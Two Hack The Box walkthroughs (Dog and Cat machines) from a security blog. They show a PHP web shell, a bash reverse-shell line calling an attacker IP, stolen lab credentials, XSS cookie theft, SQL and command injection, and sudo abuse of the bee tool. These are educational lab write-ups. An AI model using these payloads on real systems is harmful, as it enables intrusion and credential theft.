Reading view

There are new articles available, click to refresh the page.

Hack The Box: Dog Machine Walkthrough (Easy Difficulty)

By: darknite
Reading Time: 13 minutes

Introduction to Dog:

In this write-up, we’ll go step-by-step through the Dog machine from Hack The Box, rated Easy difficulty. The box involves exploring a Linux environment with a Backdrop CMS web application. The path includes abusing an exposed Git repository, exploiting a CMS vulnerability, and escalating privileges to capture both the user and root flags.

Objective on Dog Machine

The primary objective is to complete the Dog machine by accomplishing the following tasks:

  • User Flag: Obtain initial access to the Backdrop CMS by leveraging credentials (username: tiffany, password: BackDropJ2024DS2024) exposed in the settings.php file within the publicly accessible .git repository. Exploit an authenticated remote command execution vulnerability (EDB-ID: 52021) in Backdrop CMS version 1.27.1 by uploading a malicious module containing a PHP web shell, achieving a reverse shell as the www-data user. Transition to the johncusack user by reusing the exposed password and retrieving the user flag
  • Root Flag: Escalate privileges by exploiting the misconfigured /usr/local/bin/bee binary, which allows the johncusack user to run commands as root via sudo. Use the bee binary’s eval parameter to execute a privileged command, such as sudo /usr/local/bin/bee –root=/var/www/html eval “system(‘cat /root/root.txt’);”, to read the root flag and achieve full system compromise.

Reconnaissance and Enumeration on Dog Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Dog machine was 10.10.11.58.

Initial Scanning

To identify open ports and services, I ran an Nmap scan:

nmap -sV -sC 10.10.11.58 -oA initial 

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/dog]
└──╼ $nmap -sC -sV 10.10.11.58 -oA initial
# Nmap 7.94SVN scan initiated Sun Jun 29 18:19:32 2025 as: nmap -sC -sV -oA initial 10.10.11.58
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
# Nmap done at Sun Jun 29 18:20:33 2025 -- 1 IP address (1 host up) scanned in 60.91 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu; key fingerprints leaked, but no obvious auth bypass exposed.
  • Port 80 (HTTP): Apache 2.4.41 hosting Backdrop CMS 1 with an exposed .git/ repo, robots.txt leaks paths, and potential admin panel access.

Web Enumeration on Dog Machine

Exploring the Website

Navigating to http://10.10.11.58 a dog-themed website, fitting the machine’s name.

The page footer reveals that the website operates on Backdrop CMS, a platform I previously explored in the Hack The Box CarpeDiem machine walkthrough.

Accessing the login endpoint displays the login page.

The .git directory contains several internal folders related to version control.

Analysing the Git Repository

The Gobuster scan uncovered a .git directory — a significant discovery, as exposed Git repositories can leak sensitive data such as source code or credentials.

Examining settings.php

While inspecting the .git directory contents, I found several folders and files that indicate a full web application project. Directories like core, files, layouts, themes, and sites suggest an organised structure, possibly for a CMS or a custom PHP-based system. Notably, index.php appears to be the main entry point, and settings.php may contain configuration details, which could include sensitive data like database credentials. The presence of robots.txt, along with documentation files such as README.md and LICENSE.txt, further supports that this is a production-ready web application. These findings warrant a deeper inspection for potential misconfigurations or exposed credentials

The settings.php file is the main configuration file for a Backdrop CMS website. While reviewing it, I found hardcoded database credentials (root:BackDropJ2024DS2024), which is a serious security concern if exposed publicly. This means anyone with access to this file could potentially connect to the database and access or manipulate sensitive data. The file also defines paths for configuration directories, session settings, and site behaviour like caching and error handling. Additionally, it includes a unique hash_salt feature used for security tokens and one-time login links. From a security standpoint, this file contains multiple pieces of sensitive information that should never be publicly accessible. Its presence in an exposed .git directory highlights the risks of improperly secured version control systems. This misconfiguration could allow an attacker to take full control of the application or pivot further into the underlying system.

Configuration Directory Security

This section of the settings.php file specifies where the Backdrop CMS stores its configuration files, which include settings for things like content types, modules, and views. By default, these are stored in the files directory under a hashed path, like so:

$config_directories['active'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active';
$config_directories['staging'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging';

While this works functionally, it’s not ideal from a security perspective. These paths reside within the web root, so enabling directory listing or guessing the full path could allow someone to access sensitive configuration files directly from the browser. Backdrop’s documentation recommends moving these directories outside of the web-accessible root, like:

$config_directories['active'] = '../config/active';

Or using an absolute path:

$config_directories['active'] = '/var/www/config/active';

This ensures critical configuration data remains protected from unauthorised users.

Discovering User Information

Inside /files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active, I found a large number of JSON files, each representing different parts of the site’s active configuration — everything from enabled modules to content structure settings.

Within the update_settings.json file, a possible username tiffany was identified and noted for future reference.

Gaining Access to Backdrop CMS

Logging into the CMS

Returning to the Dog homepage via the browser, I attempted to log in. Initial guesses using common default credentials such as admin:admin and admin:password were unsuccessful. Recalling the credentials exposed in the settings.php file, I attempted to log in using root with the corresponding password (BackDropJ2024DS2024), but this also failed. After multiple attempts, I found the valid credentials:

  • Username: tiffany
  • Password: BackDropJ2024DS2024 (retrieved from settings.php)

This successful login confirmed that the username found in update_settings.json was legitimate and paired with the database password from settings.php.

Backdrop CMS Enumeration and Vulnerability Assessment

Backdrop CMS is a robust, enterprise-level content management system built for creating and managing dynamic websites. Its deployment on the target system suggests a structured web application environment with multiple modules and components that could be misconfigured or vulnerable.

After accessing the CMS interface, I initially searched for a file upload mechanism to deploy a PHP reverse shell; however, I found no direct upload functionality.

Next, I navigated to the CMS dashboard and obtained the version information from the “Status Report” section within the Reports menu.

CVE-2024-41709: Stored XSS in Backdrop CMS via Unsanitized Field Labels

After conducting further analysis, I identified potential vulnerabilities in the CMS.

A stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2024-41709, affects Backdrop CMS versions before 1.27.3 and 1.28.x before 1.28.2. The vulnerability arises due to insufficient sanitisation of field labels, which are improperly escaped when rendered in certain parts of the CMS interface.

While exploitation requires the attacker to have the “administer fields” permission, it still poses a threat in multi-user environments or cases of misconfigured access control. Successful exploitation could lead to session hijacking, browser-based attacks, or privilege escalation.The issue has been fixed in Backdrop CMS 1.27.3 and 1.28.2. Users are strongly advised to upgrade to the latest version to mitigate this vulnerability and prevent potential compromise.

I came across an Exploit-DB entry (EDB-ID: 52021) by Ahmet Ümit BAYRAM, which details an authenticated remote command execution vulnerability affecting Backdrop CMS version 1.27.1—the same version identified on the Dog instance.

This script takes advantage of a security flaw in Backdrop CMS version 1.27.1. It’s designed for someone who already has login access with the right permissions (like an admin). The script quietly creates a fake “module” that looks harmless but contains a web shell—a small tool that lets an attacker run system commands through a web browser.

User Management Insights

This output appears to be from the user management section of a Backdrop CMS admin panel, listing all registered user accounts. Each entry includes the username, status, role, account age (member for), last modified, and last access times. All users have an Active status and the Administrator role, granting them full control over the CMS.

Notable accounts include tiffany, rosa, axel, john, and dogBackDropSystem. Most accounts show no access or updates for nearly a year, with tiffany as the only user with recent activity. Each account includes an Edit option to modify user details.

The presence of multiple inactive administrator accounts raises concerns about poor user management practices. Furthermore, dormant admin accounts heighten the risk of privilege escalation or brute-force attacks, particularly when passwords are weak or reused.

Crafting the Malicious Module

Here’s how it works:

First, it creates two files. One is shell.info, which tricks the system into thinking it’s a normal module. The second is shell.php, which has a small piece of code like this:

if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

That code lets the attacker enter any command in a browser and run it on the server. These files are zipped up as shell.zip.

The attacker then uploads this zip file through the CMS at /admin/modules/install. Once it’s in, they can visit /modules/shell/shell.php and take full control of the site.

Executing the Python script generates an output similar to the one shown above.

Details of shell.info

This file is named shell.info and is crafted to mimic a legitimate Backdrop CMS module. It contains metadata that describes the module, including its name (Block), description, package category (Layouts), version (1.27.1), and compatibility (backdrop = 1.x). The configure line tells the CMS where the module’s settings can be accessed in the admin panel. The project and timestamp fields are added automatically by Backdrop’s packaging system to make the module appear authentic. This file helps the fake module pass as legitimate during installation, which is key to exploiting the vulnerability.

Details of shell.php

The shell.php file is a simple web-based command execution tool known as a web shell. It creates a form in a browser that allows the user to input system commands.

When opened in a browser, it displays a text field and a submit button. If a command is entered (e.g., ls, whoami) and submitted this line:

system($_GET['cmd']);

executes that command on the server and shows the result on the page. This happens only if the URL includes ?cmd=your_command, such as:

/shell.php?cmd=whoami

It’s a powerful backdoor often used by attackers to gain control over a server after uploading it. In this case, it’s part of an exploit targeting Backdrop CMS.

Obtaining a Reverse Shell on Dog Machine

To obtain a reverse shell, you can use the well-known PHP reverse shell by Pentestmonkey. Download it using:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.php

Alternatively, use:

curl -o shell.php https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

After downloading, edit shell.php and set your IP and port:

$ip = 'YOUR_ATTACKER_IP';
$port = 'YOUR_ATTACKER_PORT';

Packaging and Uploading the Module

This package was uploaded through the administrative interface by navigating to Functionality → Install Module → Manual Installation. Once the upload was completed, the malicious module was installed, paving the way for remote code execution through the embedded web shell.

To prepare the malicious module for upload, the folder containing the payload (e.g., shell/) must be archived into a .tar.gz file format. This is required because Backdrop CMS accepts .tar.gz packages for manual module installation.

Here’s how to create it:

tar -czf shell.tar.gz shell/

After uploading the .tar.gz file, the CMS extracted and deployed its contents, allowing the attacker to trigger the payload

The installation was completed successfully without any errors.

Establishing a Reverse Shell

The index appears as illustrated in the screenshot above.

The shell.php interface presents a simple form with a text input field for entering system commands, along with an “Execute” button to run them.

Command injection has been successfully achieved, allowing arbitrary system commands to be executed on the target server.

Let’s proceed by entering a bash reverse shell command into the input field of the shell.php interface. This will attempt to establish a connection back to your machine. Ensure you have a listener (like Netcat) running on your machine before executing the command.

Example reverse shell command (adjust IP and port accordingly):

bash -i >& /dev/tcp/10.10.14.99/4444 0>&1

The payload executed, but no connection was received.

We’ll modify the reverse shell command to use an alternative format.

Ultimately, the command executed successfully and produced the anticipated response.

Session Transition: www-data to johncusack within Dog Machine

While enumerating, I found a user account named johnsucack.

Using the same password from settings.php, I switched to this user

This grants access to the user flag with cat user.txt.

Escalate to Root Privileges Access on Dog Machine

Identifying Sudo Privileges

I checked for commands, the johnsucack user could run with elevated privileges:

The output revealed that johncusack could run /usr/local/bin/bee as root. After analyzing the binary, I found it accepted a root parameter to define a working directory, and an eval parameter to execute arbitrary code — basically, it was buzzing with privilege… and poor design choices

Understanding Bee: The CLI Tool for Backdrop CMS

Bee is a command-line utility tailored specifically for Backdrop CMS. It offers a suite of tools that help developers and administrators manage Backdrop sites more efficiently, directly from the terminal. Similar to Drush for Drupal, Bee streamlines repetitive administrative tasks.

Key capabilities of Bee include:

  • Running cron jobs to automate background processes
  • Clearing caches to apply configuration or content updates
  • Downloading and installing Backdrop core or contributed projects
  • Managing modules and themes (install, enable, disable)
  • Viewing system information like installed projects and status reports

In essence, Bee simplifies the management of Backdrop CMS, saving time and reducing reliance on the web interface for routine tasks. The source code is publicly available here:

The structured command set streamlines everyday tasks, enhances scripting possibilities, and supports robust site maintenance workflows from the command line.

Key Functional Areas:

  • Configuration: Handle export, import, and editing of configuration files.
  • Core & Projects: Install Backdrop, manage core updates, and enable/disable modules or themes.
  • Database: Drop, export, and import databases with ease.
  • Users & Roles: Create or manage user accounts, assign roles, and control permissions.
  • Cache & Maintenance: Clear caches and toggle maintenance mode for updates or debugging.
  • Cron & State: Run scheduled tasks and view or set internal state variables.
  • Advanced Utilities: Run PHP code (eval), execute scripts, or open SQL CLI sessions.

Exploiting the Bee Binary

The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('id');" is used to execute a PHP system call through the Bee CLI tool under root privileges. In this case, the Bee binary is located at /usr/local/bin/bee, and the --root=/var/www/html flag specifies the path to the Backdrop CMS installation. The eval command tells Bee to evaluate the provided PHP code—specifically, system('id');—which runs the Linux id command and outputs the current user’s identity. Running this with sudo means the command is executed as the root user, so the output will likely return uid=0(root) along with group details, confirming root-level execution. This showcases how Bee can execute arbitrary system commands if misconfigured or granted excessive privileges, making it a potential target for post-exploitation during penetration testing or privilege escalation scenarios.

Retrieving the Root Flag

The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('cat /root/root.txt');" retrieves the contents of the root.txt file, which typically serves as proof of root access in penetration testing platforms like Hack The Box. Running the command with sudo grants it root privileges. The Bee CLI tool, located at /usr/local/bin/bee, uses the eval argument to execute a PHP system() call that reads the root.txt file. The --root=/var/www/html flag tells Bee where to find the Backdrop CMS installation. If the command runs successfully, it prints the content of the root.txt file, confirming full system compromise. This approach shows how attackers can exploit misconfigured CLI tools like Bee, especially when administrators grant them root access, to execute arbitrary system commands and gain complete control.

Alternative Approach to Access the Root Flag

Even if the system doesn’t show special permissions on the bash program, it’s still possible to gain full control (root access) using a specific trick. Here’s what’s happening in simple terms:

We’re using a tool called Bee that administrators sometimes install to help manage websites. Normally, Bee is safe, but in this case, it’s being run with full system power (as the root user). By giving Bee a small instruction, telling it to open a command prompt (/bin/bash) using a special option (-p) — We can open a powerful backdoor. This option tells the system, “Don’t lower my power,” and because Bee already runs with full control, it allows us to keep that control.

So even though the bash tool doesn’t have special access on its own, using it through Bee (which does) lets us fully control the system. This shows how a trusted tool, if misused or poorly secured, can give attackers full access.

This grants access to the user flag with cat root.txt.

The post Hack The Box: Dog Machine Walkthrough (Easy Difficulty) appeared first on Threatninja.net.

Hack The Box: Cat Machine Walkthrough – Medium Diffculity

By: darknite
Reading Time: 13 minutes

Introduction

This write-up details the “Cat” machine from Hack The Box, a Medium-rated Linux challenge.

Objective on Cat Machine

The goal is to complete the “Cat” machine by accomplishing the following objectives:

User Flag:

To obtain the user flag, an attacker first exploits a Stored Cross-Site Scripting (XSS) vulnerability in the user registration form, which allows stealing the administrator’s session cookie. With this stolen session, the attacker accesses the admin panel and exploits an SQL Injection flaw to extract sensitive user credentials from the database. After cracking these credentials, SSH access is gained as a regular user, enabling the retrieval of the user flag—a secret token proving user-level access.

Root Flag:

For the root flag, privilege escalation is performed by finding a vulnerable image processing script owned by the root user. The attacker crafts a malicious image payload that executes unauthorised commands with root privileges. This leads to obtaining a root shell—the highest level of system access—allowing capture of the root flag, which confirms full control over the machine.

Reconnaissance and Enumeration on Cat Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Parrot OS virtual machine. The target IP address for the Dog machine was 10.10.11.53.

Initial Scanning

To identify open ports and services, I ran an Nmap scan:

nmap -sC -sV 10.10.11.53 -oA initial

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/cat]
└──╼ $ nmap -sC -sV -oA initial -Pn 10.10.11.53
# Nmap 7.94SVN scan initiated Tue Jun 17 10:05:26 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:05:33 2025 -- 1 IP address (1 host up) scanned in 7.38 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu 4ubuntu0.11 risks remote code execution if unpatched (e.g., CVE-2021-28041).
  • Port 80 (HTTP): Apache 2.4.41, vulnerable to path traversal (CVE-2021-41773), redirects to cat.htb, hinting at virtual host misconfigurations.

Web Enumeration:

Perform directory fuzzing to uncover hidden files and directories.

gobuster dir -u http://cat.htb -w /opt/common.txt

Let’s perform directory enumeration with Gobuster to identify any potentially useful resources.

Gobuster Output:

Web Path Discovery (Gobuster):

  • /.git Directory: Exposed Git repository risks source code leakage, revealing sensitive data like credentials or application logic.
  • /admin.php, /join.php, and Other Paths: Discovered sensitive endpoints may lack authentication, enabling unauthorised access or privilege escalation.

The website features a typical interface with user registration, login, and image upload functionalities, but the presence of an exposed .git directory and accessible admin endpoints indicate significant security vulnerabilities.

Git Repository Analysis with git-dumper

Utilised the git-dumper tool to clone the exposed Git repository by executing the command git-dumper http://cat.htb/.git/ git. Subsequently, employed a Git extraction tool to retrieve critical source code files, including join.php, admin.php, and accept_cat.php, for further analysis.

Within the cloned Git repository, several PHP files were identified, meriting further examination for potential vulnerabilities or insights.

Source Code Analysis and Review on Cat Machine

Source Code Review of accept_cat.php

The accept_cat.php file is intended to let the admin user 'axel' Accept a cat by inserting its name into the accepted_cats table and deleting the corresponding entry from the cats table. The script correctly verifies the user’s session and restricts actions to POST requests, which is good practice. However, it constructs the insertion SQL query by directly embedding the $cat_name variable without any sanitisation or use of prepared statements:

$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

This exposes the application to SQL injection attacks, as malicious input in catName could manipulate the query and compromise the database. On the other hand, the deletion query is properly parameterised, reducing risk. To secure the script, the insertion should also use prepared statements with bound parameters. Overall, while session checks and request validation are handled correctly, the insecure insertion query represents a critical vulnerability in accept_cat.php.

Vulnerability Review of admin.php

This admin page lets the user ‘axel’ manage cats by viewing, accepting, or rejecting them. It correctly checks if the user is logged in as ‘axel’ before allowing access and uses prepared statements to fetch cat data from the database safely. The cat details are displayed with proper escaping to prevent cross-site scripting attacks.

However, the page sends AJAX POST requests to accept_cat.php and delete_cat.php without any protection against Cross-Site Request Forgery (CSRF). This means an attacker could potentially trick the admin into performing actions without their consent. Also, based on previous code, the accept_cat.php script inserts data into the database without using prepared statements, which can lead to SQL injection vulnerabilities.

To fix these issues, CSRF tokens should be added to the AJAX requests and verified on the server side. Additionally, all database queries should use prepared statements to ensure user input is handled securely. While the page handles session checks and output escaping well, the missing CSRF protection and insecure database insertion are serious security concerns.

Security Audit of view_cat.php

The view_cat.php script restricts access to the admin user 'axel' and uses prepared statements to safely query the database, preventing SQL injection. However, it outputs dynamic data such as cat_name, photo_path, age, birthdate, weight, username, and created_at directly into the HTML without escaping. This creates a Cross-Site Scripting (XSS) vulnerability because if any of these fields contain malicious code, it will execute in the admin’s browser.

The vulnerable code includes:

Cat Details: <?php echo $cat['cat_name']; ?>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
</code>

To mitigate this, all output should be passed through htmlspecialchars() to encode special characters and prevent script execution. Additionally, validating the image src attribute is important to avoid loading unsafe or external resources. Without these measures, the page remains vulnerable to XSS attacks.

Input Validation Analysis of join.php

The provided PHP code is vulnerable to several security issues, primarily due to improper input handling and weak security practices. Below is an explanation of the key vulnerabilities, followed by the relevant code snippets:

  1. Cross-Site Scripting (XSS): The code outputs $success_message and $error_message without sanitisation, making it susceptible to XSS attacks. User inputs (e.g., $_GET['username'], $_GET['email']) are directly echoed, allowing malicious scripts to be injected.
<?php if ($success_message != ""): ?>
   <div class="message"><?php echo $success_message; ?></div>
   <?php endif; ?>
   <?php if ($error_message != ""): ?>
   <div class="error-message"><?php echo $error_message; ?></div>
   <?php endif; ?>
  1. Insecure Password Storage: Passwords are hashed using MD5 (md5($_GET['password'])), which is cryptographically weak and easily cracked.
$password = md5($_GET['password']);
  1. SQL Injection Risk: While prepared statements are used, the code still processes unsanitized $_GET inputs, which could lead to other injection vulnerabilities if not validated properly.
  2. Insecure Data Transmission: Using $_GET for sensitive data like passwords, exposing them in URLs risks interception.

To mitigate these, use htmlspecialchars() for output, adopt secure hashing (e.g., password_hash()), validate inputs, and use $_POST for sensitive data.

Workflow Evaluation of contest.php

The PHP code for the cat contest registration page has multiple security flaws due to weak input handling and poor security practices. Below are the key vulnerabilities with relevant code snippets:

Cross-Site Scripting (XSS): The $success_message and $error_message are output without sanitization, enabling reflected XSS attacks via crafted POST inputs (e.g., cat_name=<script>alert(‘XSS’)</script>).

<?php if ($success_message): ?>
    <div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
    <div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>
  • Weak Input Validation: The regex (/[+*{}’,;<>()\\[\\]\\/\\:]/) in contains_forbidden_content is too permissive, allowing potential XSS or SQL injection bypasses.
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
  • Insecure File Upload: The file upload trusts getimagesize and uses unsanitized basename($_FILES[“cat_photo”][“name”]), risking directory traversal or malicious file uploads.
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

To mitigate, sanitize outputs with htmlspecialchars(), use stricter input validation (e.g., FILTER_SANITIZE_STRING), sanitize file names, restrict upload paths, and validate file contents thoroughly.

User Registration and Login

Clicking the contest endpoint redirects to the join page, which serves as the registration page.

Let’s create a new account by completing the registration process.

The registration process was completed successfully, confirming that new user accounts can be created without errors or restrictions.

Logging in with the credentials we created was successful.

After a successful login, the contest page is displayed as shown above.

Let’s complete the form and upload a cat photo as required.

Successfully submitted the cat photo for inspection.

Exploiting XSS to Steal Admin Cookie for Cat Machine

Initialise the listener.

Injected a malicious XSS payload into the username field.

Let’s create a new account by injecting malicious XSS code into the Username field while keeping all other inputs valid.

Let’s fill out the form with normal inputs as before.

The process may take a few seconds or minutes, depending on the response time. I have attempted multiple times to ensure it works successfully.

Used Firefox Dev Tools to set the cookie and gain access to admin features

Once we obtain the token hash, we need to copy and paste it into Firefox’s inspector to proceed further.

After that, simply refresh the page, and you will notice a new “Admin” option has appeared in the menu bar.

Clicking the Admin option in the menu bar redirects us to the page shown above.

Click the accept button to approve the submitted picture.

Leveraging XSS Vulnerability to Retrieve Admin Cookie for Cat Machine

Used Burp Suite to analyze POST requests.

Use Burp Suite to examine network packets for in-depth analysis.

Test the web application to determine if it is vulnerable to SQL injection attacks.

Attempting to inject the SQL command resulted in an “access denied” error, likely due to a modified or invalid cookie.

SQL Injection and Command Execution

After reconstructing the cookie, the SQL injection appears to function as anticipated.

Successfully executed command injection.

We can use the curl command to invoke the malicious file and execute it. The fact that it’s hanging is promising, indicating potential success.

It was observed that bash.sh has been transferred to the victim’s machine.

Success! A shell was obtained as the www-data user.

Database Enumeration

It’s unusual to find cat.db while searching for the database file.

Transfer the SQL file to our local machine.

We discovered that cat.db is a SQLite 3.x database.

sqlite3 cat.db opens the cat.db file using the SQLite command-line tool, allowing you to interact with the database—run queries, view tables, and inspect its contents.

The cat.db database contains three tables: accepted_cats, cats, and users, which likely stores approved cat entries, general cat data, and user information, respectively.

Immediate cracking is possible for some obtained hashes.

The screenshot shows the hashes after I rearranged them for clarity.

Breaking Password Security: Hashcat in Action

We need to specify the hash mode, which in this case could be MD5.

We successfully cracked the hash for the user Rosa, revealing the password: soyunaprincesarosa.

Boom! We successfully gained access using Rosa’s password.

The access.log file reveals the password for Axel.

The user Axel has an active shell account.

The credentials for Axel, including the password, were verified successfully.

Access is achievable via either pwncat-cs or SSH.

Executing the appropriate command retrieves the user flag.

Escalate to Root Privileges Access on Cat Machine

Privilege Escalation

The Axel user does not have sudo privileges on the cat system.

Email Analysis

We can read the message sent from Rosa to Axel.

The emails are internal updates from Rosa about two upcoming projects. In the first message, Rosa mentions that the team is working on launching new cat-related web services, including a site focused on cat care. Rosa asks Axel to send details about his Gitea project idea to Jobert, who will evaluate whether it’s worth moving forward with. Rosa also notes that the idea should be clearly explained, as she plans to review the repository herself. In the second email, Rosa shares that they’re building an employee management system. Each department admin will have a defined role, and employees will be able to view their tasks. The system is still being developed and is hosted on their private Gitea platform. Rosa includes a link to the repository and its README file, which has more information and updates. Both emails reflect early planning stages and call for team involvement and feedback.

Checking the machine’s open ports reveals that port 3000 is accessible.

Therefore, we need to set up port forwarding for port 3000.

Gitea Exploitation on Cat Machine

A screenshot of a computer

AI-generated content may be incorrect.

The service running on port 3000 is the Gitea web interface.

A screenshot of a login screen

AI-generated content may be incorrect.

Using Axel’s credentials, we successfully logged in.

Gitea service is running version 1.22.0, which may contain specific features and known vulnerabilities relevant for further evaluation.

Start the Python server to serve files or host a payload for the next phase of the assessment.

Inject the XSS payload as shown above.

The fake email is sent to the user jobert to test the functionality.

Obtained a base64-encoded cookie ready for decoding.

The decoded cookie appears to contain the username admin.

Edit the file within the Gitea application.

Obtained the token as shown above.

A screenshot of a computer screen

AI-generated content may be incorrect.
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

This PHP script enforces HTTP Basic Authentication by verifying the client’s username and password against predefined valid credentials: the username “admin” and the password “IKw75eR0MR7CMIxhH0.” Upon receiving a request, the script checks for authentication headers and validates them. If the credentials are missing or incorrect, it responds with a 401 Unauthorised status and prompts the client to authenticate within the “Employee Management” realm.

The password discovered grants root access and functions as an administrator password on Windows machines.

Executing the appropriate command retrieves the root flag.

The post Hack The Box: Cat Machine Walkthrough – Medium Diffculity appeared first on Threatninja.net.

❌